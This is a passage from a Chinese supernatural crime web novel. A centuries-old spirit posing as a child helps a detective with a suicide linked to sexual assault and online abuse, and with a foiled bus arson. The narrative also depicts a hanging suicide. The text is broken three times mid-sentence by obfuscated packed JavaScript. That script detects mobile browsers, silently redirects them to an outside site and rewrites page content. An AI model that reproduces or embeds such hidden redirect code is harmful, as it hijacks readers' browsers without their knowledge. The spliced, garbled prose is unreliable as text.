她发出无声的尖啸,十指扭曲成狰狞的利爪,疯狂地抓向中年男人的后背,却只能一次次徒劳地穿透那具肮脏的躯体。 4. 自杀案(一) “咔嗒”一声,指纹采集仪亮起了绿灯。薛宓无聊地收回小手,哪怕不刻意去听,刑警支队里的争吵声仍不断地从门缝里钻进来。 贺黎筠的眉心不自觉地拧紧。 但见小姑娘时不时天真烂漫地望向自己,他立刻松了松眉头,将一本童话书轻轻放在薛宓面前,低声道:“先看会儿书。”随即转身走出隔间,顺手带上了门。 门外,楚子琦正焦灼地踱步。见贺黎筠皱着眉出来,他立即迎上前,声音压得极低:“贺哥,这是你住院时发生的案子。” “死者吴倩十日前和男友赵磬石在庆市的派出所报过案,称出差时被陈启瑞性侵,要求调取酒店监控。”楚子琦翻出手机里的案件记录,“监控显示,当晚陈启瑞确实把醉酒的她抱进了自己房间,但……” 他叹了口气:“证据不足,庆市警方只能放人。” “结果报警三天后,吴倩自杀了。”楚子琦声音更低了,“赵磬石报警时坚称她是被陈启瑞逼死的,说陈启瑞在公司散布黄谣,造谣吴倩是为了业绩屡次三番勾引客户,这次也是吴倩主动勾引,见勒索不成才反咬一口。吴倩第一时间向公司高层提交了举报信,附上了报警记录和酒店监控截图。但陈启瑞是高层,公司反而以影响企业形象为由把她辞退了。” 贺黎筠眼神一沉:“只有酒店走廊的监控?房间里的情况呢?受害人的伤情鉴定和检测报告呢?” 楚子琦苦笑着摇头:“吴倩当时整个人都崩溃了,回房就冲进浴室。等反应过来要报警时,关键证据早没了。而且,陈启瑞显然是个老手,事后处理得很干净,肯定全程带着套。” “维权反遭公司开除,昔日领导、同事集体反水,不仅无人为她作证,甚至有人附和陈启瑞的谣言,称她早有前科。走投无路之下,吴倩将自己的遭遇发到网上寻求公道,没想到迎来了更加汹涌的恶意……” 楚子琦翻出吴倩的评论区递给贺黎筠看,评论区充斥着刺目的字眼,点赞数最多的竟是这么几条: 【价格没谈拢吧?】 【领导让你去陪酒,你会不知道是什么意思?装什么清高啊?】 【就一个走廊的截图能证明什么?小仙女真喜欢诬告。】 【一男一女共同去出差666】 贺黎筠的眉头蹙得更紧了。 楚子琦又咬牙道:“吴倩网上维权才过了半小时,就有人发了一段她饭桌上喝醉酒主动往男人身上靠的模糊视频,标题还是《看看“受害者”的真面目》。” “再加上她父母早逝,可能就是因为这些原因突然想不开了……赵磬石怀疑那些恶评是陈启瑞雇的水军,今天是吴倩的头七,他去陈启瑞公司搜集证据时,正撞见陈启瑞拿吴倩的事当笑谈,对吴倩的死毫无愧疚之心,一时冲动就……” 作为警察,他们必须依法办案。可明知真正的恶人逍遥法外,楚子琦还是忍不住唏嘘:“幸好只是划伤了手,要是闹出人命,赵磬石这辈子就毁了。” 这事本来应该派出所处理的,但看着陈启瑞带着律师咄咄逼人的架势,显然没打算善罢甘休。以至于案子就转到了刑警支队。 “网上那些评论和我有什么关系?”陈启瑞冷笑一声,语气轻蔑,“不是她自己先发到网上的吗?因为这种小事就要自杀……” 毫无愧疚之心。 贺黎筠眉头紧锁,厌恶地移开视线。却发现隔间里,小女孩没有低头看童话书,反而睁着一双过分清亮的眼睛,一瞬不瞬地盯着陈启瑞的方向。 这不是小孩子该听的。 争执声中,女鬼身上的怨气已浓稠如实质,像腐烂的沥青般从她七窍中不断涌出。 然而,让薛宓感兴趣的是,那个中年男人身上竟也散发着浓烈的恶意——漆黑、粘腻,几乎与女鬼不相上下。 薛宓轻笑。 “我的当事人遭遇持刀袭击,事实清楚、证据确凿,必须按故意杀人未遂立案!”律师高声强调,带着不容置疑的强势。 陈启瑞站在一旁,嘴角缓缓勾起一抹胜券在握的冷笑。 “是不是很吵?”贺黎筠推门进来,递来一副耳机,“听会儿音乐好不好?” 薛宓眨了眨眼,伸手接过耳机。 细长的白色线条,末端连着两个小巧的圆形耳塞。 又是一个新奇的小玩意儿。 她学着贺黎筠的样子将耳机塞进耳朵,轻缓的音乐立刻流淌进来,像一汪清泉冲刷着她的耳膜。 透过隔间的玻璃,她看见那只浑身黑雾的女鬼仍死死跟在陈启瑞身后。 她疯狂地伸手去抓陈启瑞的后颈,指甲暴长如刀,却一次次徒劳地穿透过去。 她要杀他。 她疯狂地想要杀他。 她一遍一遍,不死心地伸手。 直到—— 她突然触碰到了对方。 薛宓的指尖无意识地在桌面上轻轻一叩。 “砰!” 一声重物滚落的闷响突然从楼梯口传来,众人循声望去,只见陈启瑞以一种诡异的姿势摔落在楼梯的转角处。 “啊——!”凄厉的惨叫终于后知后觉地从他口中迸出。 但下一秒,他就像是被什么掐住脖子般,声音生生地被掐断。 陈启瑞惊恐地瞪大双眼,双手拼命抓挠着自己的脖子,青筋在太阳穴处暴起。 “救……救我……” 女鬼青白的手指第一次结结实实地掐住了陈启瑞的脖子。凌乱的发垂落在男人扭曲的脸上,她用尽全力收紧双手,然而最后一刻,竟又一次穿透了过去。 “陈先生?陈先生!”律师惊慌地扶住他。 “快叫救护车!” 刑警支队瞬间乱作一团。 薛宓却像是没有注意到外面的骚乱,她低头看着手里的童话书,脚尖随着音乐的鼓点轻轻地晃动。 十分钟后,救护车呼啸着将陈启瑞送往医院。 虽然是刑警支队里发生的意外,但由于陈启瑞是刑事案件报案人,受理案件的两位刑警需要陪同前往。 而这个案件尚在取证调查阶段,嫌疑人赵磬石仍在控制中,需要一名刑警和一名民警负责笔录,整个重案大队里只有贺黎筠空闲着,便临时接手了赵磬石的笔录工作。 “在这里等我。”临走前,贺黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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证据不充足,所有人都在骂她,或许只有死……才能证明自己的清白。 ——她根本不是为了讹钱,她从头到尾,都只是想要一个公道! 然而,手机屏幕却在这个时候亮了起来。 是赵磬石拨打的电话。 她骤然清醒了几分,伸手想要接男友的电话,却不小心踢到了凳子…… 凳子“咣当”坠地,发出刺耳的倒地声,失重的感觉骤然袭来。她拼命挣扎,尼龙绳却越勒越紧。在窒息的痛苦中,视线渐渐开始模糊,手机屏幕却还亮着。 无人接听后,又接连弹出数条短信: 【倩倩,接电话!】 【别去看那些评论,都是陈启瑞的水军,他就是要击溃你!】 【等我,马上到你家!我陪你!】 原来……死亡……这么疼啊…… 在意识消散前的最后一秒,她听见了破门声,赵磬石惊恐的脸在模糊的视线中晃动,他几乎是颤抖地将她抱了下来。 磬石……对不起…… 我……后悔了…… 我,不想死…… 5. 自杀案(二) “看到磬石的来电时,我突然不想死了……但不小心提到了凳子……”吴倩的鬼魂捂着脸哭成一团,“我看着他冲进来,看着他抱着我的身体哭喊……可我连摸摸他的脸都做不到……要是我……要是能再坚持五分钟……” “后来,磬石烧纸的时候,我才又看见他……他满脸胡渣,眼窝深陷,像是几天没合过眼……原来今天已经是我的头七了……我看着他去公司,我知道他要搜集证据为我讨回公道,我怕他做傻事……我不能让他因我而毁掉人生!可我……可我除了跟着他什么都做不了……” 薛宓静静地凝视着这个泣不成声的亡魂。 活人总以为死亡是解脱,却不知对牵挂者而言,那不过是另一种痛苦的开始。 现在才后悔,已经晚了。 “那个畜生还要磬石坐牢!凭什么我死了,他却能逍遥法外!”吴倩的鬼魂嘶吼着,身上的黑雾再次翻涌,“我不甘心!我不甘心!” 好不容易消下去的怨气因为痛苦的回忆又暴涨了起来,薛宓眸光清冷道:“方才若不是我暗中相助,你根本碰不到陈启瑞。” 她顿了顿,接着道:“你怨气太重,若真杀了他,必会化作丧失理智的厉鬼。而你的魂魄依附在那枚戒指上,日久天长,赵磬石阴气侵体,轻则重病缠身,重则横死暴毙。你确定还是杀陈启瑞吗?” “不——”那张本就青白的脸更是惨白,吴倩惊慌地摇头,“我不要他出事……” 魂体因剧烈的情绪波动而扭曲着,她哭着道:“我、我不报仇了……求你让我消失吧,我不要连累磬石……” 很是神奇,仅仅是因为害怕伤害到男友,吴倩身上的怨气就消散了大半。 “你……你也是鬼吗?”吴倩不安地打量眼前的小女孩。她显然不会觉得眼前这个不足十岁的孩童躯体是真的普通小女孩,她猜测对方应该是某个修炼有成的老鬼。 ——幼年时离世,但死亡年数已久,才拥有这么强的能力。 “算是吧。”薛宓扬了扬头道,“我已经存在上千年了。” 她主动伸出小手:“既然你放弃报仇,我可以吞噬你身上的怨气,助你早日超度投胎。” 吴倩震惊地后退半步。就在这时—— “小妹妹,你怎么一个人在这里呀?”因为薛宓上厕所久久未归,民警找了过来。 望着薛宓坦然应答的模样,吴倩惊得语无伦次:“你……你能被活人看见?!你、你有实体!” “当然!”薛宓勾起唇角,故意吓唬道,“和你这种刚死了七天的小鬼比起来,我确实算得上千年恶鬼了。” 其实薛宓自己也不清楚如今的形态算什么。千年前,她因吞噬太多怨气失控,成为各方围剿的“祸胎”。 如今这个灵气枯竭的时代,世间的恶念反倒是更加的丰沛…… 正好用来恢复力量。 至于恢复后要做什么…… 千年沧桑,昔日的仇敌早已化作枯骨,连后代都未必存世。 不如—— 当个怨气冲天的鬼王似乎也不错?虽然她也不是鬼…… 毁灭世界的念头刚闪过,就被吴倩怯生生的请求打断:“在我超度前……能不能帮我带几句话给磬石?” “好。”薛宓爽快答应。 傍晚时分,刑警支队里人影稀疏。趁着贺黎筠外出买饭的空档,无人看管的薛宓趁机溜进了审讯室。 昏暗的灯光下,赵磬石双手被铐在审讯椅上,整个人像是被抽走了灵魂般垂着头。 她方才偷听到贺黎筠和另一位民警的谈话,赵磬石自被带进审讯室起就一直拒绝配合调查,只是阴郁地重复着“这个畜生,终于遭报应了”。 他们推测是当初在庆市报警时,警方调取监控虽显示陈启瑞将醉酒的吴倩带回房间,却因缺乏直接证据不得不放人,让赵磬石对警方彻底失去了信任,才这般不配合。 从办案程序看,这种态度几乎是在自毁前程。 持刀伤人事实清楚,最佳策略就是应该认罪悔过、积极赔偿,争取与陈启瑞达成和解。毕竟只是划伤了手腕,连轻伤都构不成,完全有机会争取不起诉处理。 可赵磬石偏偏选择最极端的对抗方式。 他拒绝道歉,拒绝赔偿,明明只是一时冲动的伤人行为,硬是被他表现得像蓄意谋杀。竟是宁愿被刑事立案,也不愿向陈启瑞低头,最终闹到了刑警支队。 “赵磬石。”薛宓反手锁上门,稚嫩的嗓音在密闭空间里格外清晰,“你女朋友托我给你带些话。” 审讯室里,男人猛地抬头,布满血丝的眼睛死死盯住这个陌生却精致如洋娃娃的小女孩:“你……认识倩倩?” 薛宓点头。怕他不相信自己,又指了指他身侧的空处,补充道:“她现在就在你旁边。刚才就是她把陈启瑞推下楼的。” 赵磬石瞳孔骤然收缩,干裂的嘴唇颤抖着,却发不出一个完整的音节。 她竟能看见倩倩的亡魂?那个所谓的报应,竟是倩倩亲手所为? 薛宓自顾自地说道:“她说……算了吧。没有证据的事,别再执着了。让你别做傻事,忘了她,好好活着。” “那你又为什么做傻事……为什么要自杀……”赵磬石的眼泪突然决堤,手铐因激动哗啦作响,“明明说好要搬过来和我同居……为什么不依赖我一下……为什么不相信我……” “她是一时冲动,并不是真心想死的。她当时想接你电话,没想到踢翻了凳子……” 薛宓随口解释着,然而这句真相却反而像把尖刀,瞬间刺穿了赵磬石的心脏。 他整个人瘫在椅子上,嚎啕大哭道:“原来……是我害死了她……是我那个电话……” “不是的!”吴倩的魂魄疯狂摇头,在旁急得团团转,“你怎么能把这件事告诉他!他理解错意思了……” “磬石,是因为你的电话……我才想活下去的啊……” 她想要拥抱男友,手指却又一次穿透了爱人的身体。 只激起一阵微凉的空气流动。 薛宓复述了两句,最后被两人的哭声吵得头疼,索性一手抓住赵磬石的手腕,一手拽住吴倩的魂魄。 “你们自己聊吧。” 光芒从她掌心泛起,吴倩的形体竟渐渐凝实。 青白的皮肤下浮现出淡青色的血管,她惊愕地看着自己突然具象化的双手。指节分明,指甲上还残留着生前涂的淡粉色指甲油,只是如今都蒙上了一层死寂的灰白。 她立刻低头,慌张地遮住脖颈间那道狰狞的勒痕。 现在的她,太丑陋了…… 这个念头还未转完,她就被一股大力猛地拽进熟悉的怀抱。赵磬石的手臂如铁箍般收紧,滚烫的泪水穿透她半透明的衣衫,灼烧着早已停止跳动的心脏。 “倩倩……” 这一声哽咽的呼唤,让两人压抑多时的情绪彻底决堤。 一旁的薛宓就见两人紧紧相拥,哭成一团,仿佛要将错过的告别都在这一刻补回来…… 十分钟后,薛宓满头冷汗,有些吃力地靠在墙上。灵力丝线从两人之间缓缓抽离,吴倩的身影开始变得透明,像一幅正在褪色的水彩画。 “磬石……”她轻抚爱人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472511|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憔悴的脸,“今日是我的头七,我的魂魄才回了来……但我必须要走了……” 赵磬石死死攥着她的衣角,不愿松手。 “这一世能遇见你,我很幸福……”她的声音越来越轻,“我该转世投胎了。答应我,好好活着,重获幸福啊……” 赵磬石重重地点头,目送着吴倩的身影在自己眼前消失。 他知道吴倩还没真正地离开,只是自己看不见她了……他也知道,这个小女孩会超度倩倩,他不能让倩倩成为厉鬼,所以强忍着撕心裂肺的痛楚,装作平静地告别。 得知吴倩已被成功超度后,赵磬石紧握的拳头才缓缓松开。 今天,他本打算去公司搜集证据,录下和赵启瑞的对话,没想到偷听到赵启瑞对着电话嗤笑:“现在的年轻人啊,陪客户喝个酒就说是性骚扰。我们当年为了签单,喝到胃出血都没喊过苦,现在的小姑娘真是矫情。” 他一时没忍住,彻底失了控。 但现在……摸着手腕上的铐痕,赵磬石的眼神已变得清明而锐利。 害死吴倩,远不止陈启瑞一人。他不能把时间浪费在拘留和坐牢里。 他要找出所有参与网暴的账号,一个个追究法律责任! 他要联系更多被陈启瑞迫害过的女性! 他要将真相大白天下,要让这个畜生,活着体会身败名裂的滋味! 贺黎筠拎着热腾腾的饭盒疾步穿过刑警支队走廊,转过拐角时,一抹小小的身影猝不及防撞入视线—— 薛宓正扶着墙面干呕。 苍白的小手死死揪住胸前的衣料,单薄的脊背随着不适的喘息剧烈起伏。她整个人几乎蜷缩成团,像是要把自己藏进墙角阴影里。 “薛宓?” 贺黎筠三步并作两步冲过去。 掌心触及的皮肤冰凉潮湿,小姑娘额前的碎发都被冷汗浸透了,黏在泛着不正常潮红的脸颊上。 “那里不舒服?怎么在这里……” “叔叔……”小姑娘抬起泪眼朦胧的小脸,鼻尖红彤彤的,见他靠近就泪汪汪地扑了过来,“我好难受……” 她的力量衰弱太多,强行吞噬的怨气正在她体内横冲直撞,需要一段时间才能彻底净化,薛宓一时间没来得及溜回隔间,就被贺黎筠发现了。 她只能装作虚弱把脸埋进他怀里:“我一个人害怕……想找你没找到……呜呜……” 安抚好小姑娘,见她恢复精神,乖巧地开始吃饭后,贺黎筠才重新走进审讯室,将另一份盒饭推到赵磬石面前。 出乎意料的是,先前连水都不肯喝的赵磬石竟主动接过了盒饭。 “贺警官。”在平静地吃了两口饭后,他突然开口,“我愿意为持刀伤人的行为向陈启瑞郑重道歉。我并非蓄意谋杀,是我一时冲动,今后绝不会再犯。任何赔偿,我都愿意支付,但我不认为他的伤势有达到刑事立案的标准,请允许我联系律师。” 贺黎筠略微吃惊,没想到这个方才还拒不配合的男人,此刻的态度竟判若两人。 就听到他继续道:“另外,我要正式报案,关于吴倩遭遇的网络暴力,我怀疑是赵启瑞所为。恳请警方帮忙查一下评论区那些负面评价的IP。” 贺黎筠喉头一滚,若有所思地记录着:“好,我现在就帮你立案。” 他状似无意地补充:“方才接到同事电话,赵启瑞这次伤得很严重,哪怕及时动手术,都可能终生瘫痪。” 指尖摩挲着左手中指上的银戒,赵磬石扯了扯嘴角,久违地笑了:“多谢贺警官,这顿饭真是我近日吃过的最好吃的一顿了……” 6. 纵火犯 正式录完笔录,回到隔间,贺黎筠就见小姑娘正用勺子百无聊赖地搅动着粥,碗里还剩了一大半。 想到她肠胃不好,他特意给她买了小米粥,没想到还是吃得这么少…… “是不是等着无聊了?” 他揉了揉那颗毛茸茸的小脑袋。 这一整日,依旧没有父母来寻她。他必须按照规矩,将她送往福利院。 “嗯。”薛宓蔫蔫地点头,任由贺黎筠牵着她走出刑警支队。 夜色渐深,街边的路灯一盏盏亮起,在地上投下两人交叠的影子。 贺黎筠在路边站定,犹豫片刻后蹲下身,视线与她平齐:“叔叔带你去个地方……那里有很多小朋友,还有很温柔的阿姨……你在那里等爸爸妈妈来接你,好吗?” 薛宓猛地抬头:“你要丢了我?” 见小姑娘瞬间像只炸毛的小猫,贺黎筠连忙解释:“不是丢下你,只是……”他斟酌着词句,“叔叔是成年男性,不方便照顾小女孩。但我会每天来看你的。你有什么想要的东西,叔叔买给你。” “我什么都不要,我要跟着你!我会完成你的心愿,帮你找到杀你父亲的凶手!” “是不是晚上忘记吃药了?”贺黎筠失笑,伸手想摸她的额头,却被她瞪着圆圆的眼睛,偏头躲过。 “你——”薛宓气得咬牙,“你根本不信我?” 瞧见四下无人,她终于撕下伪装,压低声音道:“你救了我,你我之间有因果契约,我必须完成你的愿望才能解开契约。” 当然,还有更简单的方法——直接杀了他! 只是以她现在虚弱的状,杀了契约者极有可能反噬得更严重。 她一脸认真道:“你就这样把我送走,我如何帮你找你的杀夫仇人?你现在还不知道我的能力,才会这般小看我,有我帮你达成心愿,你该感到荣幸才是。” 贺黎筠被她突如其来的气势震住,半晌才找回声音:“那……我现在改个愿望。” 想到医生叮嘱“发病时绝不能刺激患者”的内容,他蹲下身,尽量让语气温和:“我希望你能听话地待在福利院,在那边等待爸爸妈妈。” “……好吧。”薛宓撇撇嘴,一脚踢飞脚边的石子,“是你自己要选择那么简单的心愿的。” 石子划破夜空,精准击中二十米外的垃圾桶,发出“咣当”一声巨响。 晚高峰的车流堵成长龙,出租车迟迟不见踪影。贺黎筠只好牵着薛宓走向巴士站台。 拥挤的人群中,一辆巴士缓缓进站。 呼啸的热风拂乱薛宓的刘海,她还在生闷气,小脸绷得紧紧的,然而目光却好奇地打量着这个铁皮包裹的代步工具,直到被贺黎筠牵着手上了车。 贺黎筠护着这个突然安静下来的小姑娘找了个靠窗的座位,自己则站在她身前,高大的身影像堵墙似地隔开四周的人潮。 被一个人类如此小瞧!薛宓原打算一路上都不和贺黎筠说话,谁知当一个拎着麻袋的中年男子上车时,她猛地坐直了身体。 浓稠如沥青的黑雾从男人身上翻涌而出,几乎淹没了整个车厢。那恶念腥臭扑鼻,熏得薛宓胃里一阵翻腾,足以可见其危害性。 她立刻一把拽住贺黎筠的袖口,压低声音道:“那个袋子里有东西!不立刻阻止,大家都要死。” 往常贺黎筠或许会当她又在说胡话,但此刻那个中年男人奇奇怪怪的举止,同样引起了他的警觉。 他默不作声地观察了几分钟后,上前亮出了警官证:“警察,请打开袋子检查。” 中年男子脸色骤变,目光在贺黎筠打着绷带的左手上停留了一瞬,突然暴起推人,拎着麻袋就要下车。 “拦住他!” 司机反应极快地关闭车门。在乘客们的协助下,男人很快被按倒在地。 贺黎筠一把扯开麻袋,只见满满一小罐液体在袋中晃动,刺鼻的气味顿时弥漫开来。 “汽油?!”贺黎筠面色大变,呵斥道,“为什么带汽油上车!” “给、给车加油用的……”男人结结巴巴地辩解。 “那你跑什么?” “怕被误会……” “误会?”贺黎筠冷声质问,从他口袋里摸出一个打火机,“这也是误会吗?” “我抽烟!”男人掏出烟盒,还在狡辩。 薛宓不懂汽油和打火机是什么,但恶念具象化得如此严重,足以可见此人内心积压的黑暗已到了触目惊心的地步。 她不禁在旁冷哼:“你明明想杀人!” 稚嫩的嗓音在车厢里格外清晰,就像一滴水溅进油锅,瞬间引爆了全车人的恐慌。 “他该不会是要在车上纵火吧?!” “司机开门!快开门!我们不坐了!” “真是个疯子,竟然把汽油带到大巴上……” 司机立刻慌忙地按下开门键,人群如惊弓之鸟四散下车,贺黎筠也不再多话,直接铐着中年男人就返回了刑警支队。几个见义勇为的路人帮着押送和保管证据。 薛宓则默默地跟在队伍最后,身旁还有着一个好心的小姐姐一路陪着。 刑警支队门口,值班民警看到贺黎筠押着人回来,惊讶道:“贺哥,你这石膏都还没拆呢,怎么又逮回来一个?” “这人携带汽油和打火机上车,形迹可疑,先带回来调查。很可能是巴士纵火未遂。” 话音刚落,整个警局骤然一静。 这……这可是大案啊!晚高峰如果真的纵火成功,死伤可是几十人啊! 众人顿时倒吸了一口凉气。 审讯时,男人还在垂死挣扎:“警官,真的是误会!我就是给车加点油……” 但在确认身份信息后,搜查组很快在他杂乱不堪的出租屋内查获了手写的纵火计划和给胞弟的遗书。 李武总,56岁,未婚,沉迷于赌博,酗酒成性,因不满拆迁补偿款和自感生活不如意,悲观厌世,而泄愤纵火。 甚至他留下的遗书里,还愤慨地写道: ——既然这世道对我不公,那就让更多人陪我一起下地狱! 因涉嫌纵火罪和危害公共安全罪,且主观意图极其恶劣,被当场依法刑事拘留。 铁证面前,那个方才还嘴硬的男人瞬间像泄了气的皮球,瘫软在审讯椅上。 自己犯的事彻底被发现,恐惧的心理逐渐冲散了恶念,那些缠绕在李武总身上的浓稠黑雾开始丝丝缕缕地剥离。 薛宓趁机深吸一口气,那些黑雾便打着旋儿钻进她的鼻腔。 比起浓稠的恶念,这种夹杂着害怕和恐惧的恶念更容易消化,薛宓苍白的脸色顿时红润了几分。 她没想到短短一日之内,自己竟接连遇到两个恶念滔天之人。 而通过今日种种,她已经完全理解了“警官”、“刑警支队”这些词汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472512|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的含义——这个专门拘押恶人的地方,简直是她的天然猎场。 所以,比起急着解除契约,她显然是留在贺黎筠身边更为有利。他刑警的身份能让她接触到更多恶念深重的罪犯,这些可都是上等的“补品”。 就在此时,审讯室内,李武总突然瘫坐在地,手指痉挛地抓着头发:“那些声音……那些声音又来了!” “不是我干的……我不记得了……真的不记得了……医生说我有精神分裂,我发病时根本控制不了自己!” “呵,现在杀人犯都开始装疯卖傻说自己是精神病了……” “这种预谋犯罪,精神病也得坐牢吧。” “难说……”旁边的大叔摇头,“去年城南有个精神分裂患者当街砍人,最后司法鉴定一出,直接免了刑责。” “精神病就该关精神病院,放出来害人算什么!” 压低声音的讨论被审讯室内突然爆发的尖叫打断。男人再度疯狂地撕扯着自己的头发:“他们都在我脑子里说话!快让他们闭嘴!” 他开始激动地用头撞桌。 审讯室里的闹剧越演越烈,薛宓好奇地问着身边的小姐姐:“姐姐,精神分裂是什么呀?” “是一种会让大脑生病的症状,患者有时分不清现实和幻想。”年轻女子同样愤愤不平,但面对小孩子的提问,还是斟酌地解释,“但现在很多坏人会假装生病,想逃避惩罚。所以是否是精神方面的疾病,需要经过专业机构鉴定。” 薛宓饶有兴致地挑了挑眉。 如此浓稠的恶念,明显是主观恶意。但明明敢策划烧死全车人,真正落网后,却反倒是这般怕死了?还装起了精神分裂? 等等……精神分裂…… 薛宓精致的小脸一瞬间扭曲了一下。 所以,那些白大褂和贺黎筠是把她当作了一个分不清现实和幻想的疯子??? 薛宓的小拳头不禁气愤地握紧了。 厕所里,双手被铐的李武总正对着镜子查看额头的伤口。血迹已经干涸,在眉骨处结成了一块暗红的痂。 他本打算带着一车人陪葬,可事到临头,却只有自己被抓。 他可不想坐牢。 想到自己以前抑郁时被确诊精神分裂,他不禁咧开嘴笑了——精神病杀人都不犯法,纵火算什么?而且一个人都没死,火也没点出来,他犯什么罪了? 所以方才,他在审讯室里故意用头撞桌,装出癫狂的模样。现在,对着镜子也不断地练习着表情。 眼球上翻,嘴角抽搐,活像个真正的疯子。 突然—— 镜面泛起诡异的涟漪。 李武总的表情凝固了。 只见镜中,一个红衣身影正从他背后缓缓浮现。 湿漉漉的黑发黏在青白的脸上,鲜红的裙摆滴着浓稠的鲜血,她嘴角咧到耳根,笑盈盈地望着他:“你能听到我的声音啊~我还以为没人能听到呢~我终于不再是一个人了!来陪我玩呀……” “啊——鬼啊——”李武总发疯似地撞开厕所门,连滚带爬地冲了出去。 地上一滩腥臊的水渍无声地蔓延开,提前躲在厕所隔间的薛宓这才显出身形,小巧的鼻尖嫌弃地皱起。 什么啊,不过是用了吴倩的一缕怨气制造了幻象,竟就被吓得屁滚尿流了? 就这点胆子,还敢学人报复社会? 她都没开始玩呢! 7. 合作 贺黎筠冷眼看着眼前这场闹剧。 装疯卖傻的犯人他见得太多了——即便是确诊的精神病患者,在神志清醒时犯罪同样要负刑事责任。而眼前这个李武总,被捕时编造“给车加油”的借口条理分明,直到铁证甩在面前,才突然开始胡言乱语。 这拙劣的演技,简直是对刑警智商的侮辱。 以至于,当李武总跌跌撞撞从厕所冲出来,裤子湿了一大片,满脸惊恐地喊着“有红衣女鬼”时,贺黎筠连眉毛都没动一下。 甚至眼神愈发冰冷,觉得他竟为了逃避刑罚,连尿裤子这种戏码都演得出来! “鉴定所的专家马上到。”他冷漠地甩开李武总的手,对赶来加班的同事道:“先带他去换条裤子,等鉴定组到了直接做刑事责任能力评估。” 案件很快交接完毕,贺黎筠揉了揉发胀的太阳穴。 不知不觉已经深夜十一点了……他找到薛宓时,就见她蜷在值班室的椅子上,小脑袋一点一点地打着瞌睡。 他本想托同事将她送去福利院,可这小姑娘说什么也不肯独自离开,导致证人们录完笔录后离去后,她跟着他留到了这么晚。 让个孩子熬到这么晚,贺黎筠心里溢满了愧疚。 但现在太晚了,福利院这个点早已闭门,他只好轻轻唤醒小姑娘:“今晚先跟我回家休息,明天一早再送你去福利院。” 打车回家的路上,许是太困了,小姑娘安静得出奇。而回到家中,贺黎筠还不知怎么和小姑娘相处时,就见她双手环胸,仰起的小脸上完全没有方才的半点困意。 “你就不好奇吗?”她歪着头,发梢随着动作轻轻晃动,“为什么我能知道那人的麻袋里藏着危险品,还确定他要杀人?” 贺黎筠确实心生疑惑。但转念一想,当时李武总上车时眼神飘忽,拎着麻袋的动作扭捏,或许只是这孩子观察力敏锐,碰巧识破了端倪。 大概是小姑娘想要表扬吧。 这样想着,贺黎筠冷峻的眉眼渐渐柔和,唇角勾起一个罕见的温柔弧度:“薛宓小朋友真厉害,帮助叔叔抓到了坏人。” 话音刚落,贺黎筠就听到小姑娘冷哼一声。 她仰着头,黑棕色的眼瞳直勾勾地盯着他:“我不是分不清现实和幻想的疯子,我能看见人类身上具象化的恶意。就像公交车上那个纵火犯,整个人被黑雾裹得严严实实。” 贺黎筠轻叹一声。 就在他以为小姑娘又开始精神分裂时,眼前的小女孩身形骤然开始抽长。像是眨眼间长大,粉红色的童装化作紧身的超短裙,露出两条瓷白的长腿…… 贺黎筠瞳孔骤缩,第一反应竟是扯下外套将她盖得严严实实。 然而对方,却反而逼得更近,红唇几乎贴上他的耳垂:“你昏迷前明明看到我这个模样的。我还把那个杀人犯的心脏喂给你吃……你已经忘记了吗?” 记忆如潮水般涌来—— 钢筋穿透的剧痛,口腔里铁锈味的血沫,以及掌心那颗跳动的心脏…… 那些被他强行解释为“失血性幻觉”的画面,突然在脑海里鲜活了起来。 竟真的不是梦……! 作为一个坚定的无神论者,贺黎筠从未想过,自己的认知会在某一天迎来颠覆性的冲击。 想到对方装了一周孩童,他面色冷了下来,逼问着:“王姜成是你杀的?” “是他想要杀我。”薛宓嗤笑一声,撇撇嘴道,“你现在是在审问我吗?你觉得我是滥杀无辜的坏人?我当时可是想救你啊,若非我,你觉得你现在可能站着和我说话吗?” 贺黎筠神色稍缓,喉结微微滚动:“你是谁?为什么要伪装成孩子?” “我只能告诉你,我叫薛宓。你不必探究我究竟是谁。至于我为何是孩童模样,纯粹是重伤后力量不足维持本体。是你一直把我当作精神分裂,始终没有信过我说的话。” 薛宓慵懒地靠在墙边,红唇微勾:“我需要吞噬恶念恢复力量,而你需要破案寻凶,我们合作共赢,如何?” “我能预见犯罪,也能看见含冤而死的亡魂。方才就是吴倩把陈启瑞推下了楼。吴倩超度前,也是我让他和和赵磬石见了最后一面。” “李武总见到的红衣女鬼,也是你装的吗?”贺黎筠举一反三。 “聪明。”薛宓轻笑出声,“以彼之道还施彼身。他不是喜欢装精神病吗?我就让他体验下真正的幻听幻视。” 贺黎筠眼神一凛:“亡魂应该无法触碰到活人,吴倩也是你这样帮的吗?” “难道贺警官宁愿看怨魂化作厉鬼吗?还是眼睁睁地看着赵磬石自甘堕落下去?”薛宓歪头,露出理所应当的表情,“虽然我是为了吞噬他们身上的恶念才出手相助,但救人一命胜造七级浮屠,我也是在积德行善呢~” 沉默在空气中蔓延。良久,贺黎筠主动伸出了手:“我们合作吧。” 薛宓的唇角勾起一抹得逞的笑意。 